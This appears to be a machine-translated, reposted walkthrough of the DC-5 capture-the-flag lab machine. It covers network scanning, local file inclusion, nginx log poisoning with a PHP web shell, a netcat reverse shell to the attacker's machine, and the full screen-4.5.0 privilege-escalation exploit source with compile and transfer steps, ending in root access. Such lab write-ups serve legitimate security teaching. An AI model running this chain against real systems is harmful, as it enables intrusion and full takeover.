当前位置:网站首页>DC-5 target
DC-5 target
2022-07-04 12:39:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
ifconfig
Find the host IP
Sweep a wave Intranet , Detect the surviving host
nmap 192.168.61.0/24
Use nmap Tool pair DC-5 The target machine scans the open port
nmap -A -T4 192.168.61.133 -p- -oN nmap133.A
( halfway IP Changed to 192.168.61.134)
It's open 80,111,39542
Open the displayed IP Address
stay concat Fill in the information in the interface , Will jump to the page , yes GET The ginseng
Refresh repeatedly and you will find that the time changes , Guess the page has a file containing (?)
And then use burp Blast page ( The imperial sword cannot be swept out )
altogether 7 individual
footer You can see this , Confirm that this is the containing interface
Use BurpSuite The variable name contained in the blasting file , And backstage passwd File exists in
Variable name :file,passwd file location :/etc/passwd
Check the log storage location :
Law 1 :
Use BurpSuite Location of the log file of the bag grabbing blasting target , The blast was successful
/var/log/nginx/error.log
/var/log/nginx/access.log
Law two :
file==/etc/nginx/nginx.conf
<?php system($_GET['test']);?>
Use BurpSuite Modify packet data , Write a word Trojan , Open the log file to see the successful writing
Use a one sentence Trojan horse to execute commands
/var/log/nginx/error.log&test=ls
stay kali monitor
netcat -l -p 4444
file=/var/log/nginx/error.log&test=nc+192.168.61.129+4444+-e+/bin/bash
then
python -c 'import pty;pty.spawn("/bin/sh")'
Search permissions
find / -perm /4000 2>/dev/null
Simply speaking : seek 4000 Permission file , Not displaying other error messages is equivalent to filtering .
screen-4.5.0: Command line terminal switching software , It connects several local or remote command-line conversations at the same time , It can be used as a power raising point
View vulnerabilities
Extract the file
cp /usr/share/exploitdb/exploits/linux/local/41154.sh screen_450.sh
cp /usr/share/exploitdb/exploits/linux/local/41152.sh screen_450.txt
Open file
cat screen_450.txt
cat screen_450.sh
Save the code to /tmp Next
Save as
rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
And then put rootshell.c Translate it into rootshell
gcc -o /tmp/rootshell /tmp/rootshell.c
hold libhax.c Translate it into libhax.so
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
First, libhax.so
In the virtual machine
nc -lvvp 4444 < libhax.so
On the target plane
nc 192.168.61.129 4444 > libhax.so
Then on the host ctrl+c End
And then there was rootshell
In the virtual machine
nc -lvvp 4444 < rootshell
On the target plane
nc 192.168.61.129 4444 > rootshell
Check on the target , You can see the success of the incoming
Then carry out a series of right raising steps
( There are steps in the previous vulnerability information )
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
Then you get root Yes (whoami see )
cd /root
ls
cat thisistheflag.txt
边栏推荐
- [data clustering] section 3 of Chapter 4: DBSCAN performance analysis, advantages and disadvantages, and parameter selection methods
- How to use "bottom logic" to see the cards in the world?
- How to disable debug messages on sockjs stomp - how to disable debug messages on sockjs Stomp
- Kivy tutorial 08 countdown app implements timer call (tutorial includes source code)
- [Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 11
- 01. Basics - MySQL overview
- C language: find the length of string
- [directory] search
- Iterm tab switching order
- [Yu Yue education] 233 pre school children's language education reference questions in the spring of 2019 of the National Open University
猜你喜欢
Tableau makes data summary after linking the database, and summary exceptions occasionally occur.
Review of week 278 of leetcode II
LVS load balancing cluster deployment - Dr direct routing mode
Wechat video Number launches "creator traffic package"
01. Basics - MySQL overview
SAP ui5 date type sap ui. model. type. Analysis of the display format of date
Practice of retro SOAP Protocol
Awk getting started to proficient series - awk quick start
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 16
The latest idea activation cracking tutorial, idea permanent activation code, the strongest in history
随机推荐
Complementary knowledge of auto encoder
Anti clockwise rotation method of event arrangement -- PHP implementation
VBA, JSON interpretation, table structure -json string conversion
C语言:求字符串的长度
Global and Chinese market of cardiac monitoring 2022-2028: Research Report on technology, participants, trends, market size and share
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 8
16.内存使用与分段
JD home programmers delete databases and run away. Talk about binlog, the killer of MySQL data backup
Possible to restore a backup of SQL Server 2014 on SQL Server 2012?
asp. Core is compatible with both JWT authentication and cookies authentication
Tableau makes data summary after linking the database, and summary exceptions occasionally occur.
Haproxy cluster
MYCAT middleware installation and use
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 12
LVS load balancing cluster deployment - Dr direct routing mode
Netgear switch basic configuration command set
Global and Chinese market of piston rod 2022-2028: Research Report on technology, participants, trends, market size and share
BCD code Baidu Encyclopedia
Communication tutorial | overview of the first, second and third generation can bus
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 20